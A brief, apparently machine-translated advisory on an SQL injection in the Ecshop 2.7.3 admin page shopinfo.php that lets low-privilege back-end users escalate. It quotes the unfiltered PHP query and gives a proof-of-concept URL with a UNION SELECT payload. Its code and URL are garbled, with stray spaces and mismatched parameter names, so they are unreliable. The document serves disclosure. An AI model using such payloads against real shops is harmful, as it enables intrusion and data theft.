Ecshop 2.7.3 can be injected at the backend for Elevation of Privilege

Ecshop 2.7.3 users with Low Background permissions can inject and escalate permissions after logon.
The problem lies in the 108 rows of admin/shopinfo. php.

If ($ _ REQUEST ['ac'] = 'edit') {/* permission judgment */admin_priv ('shopinfo _ manage '); /* obtain Article data */$ SQL = "SELECT article_id, title, content FROM ". $ ecs-> table ('Article '). "WHERE article_id = ". $ _ REQUEST ['id']; $ article = $ db-> GetRow ($ SQL );

 

The id is directly queried without filtering. The construction statement http: // 192.168.1.110/ecshop/admin/shopinfo. php? Act = editing & id = 111 and 1 = 2 union select 1, user (), version ()
Solution:

Filter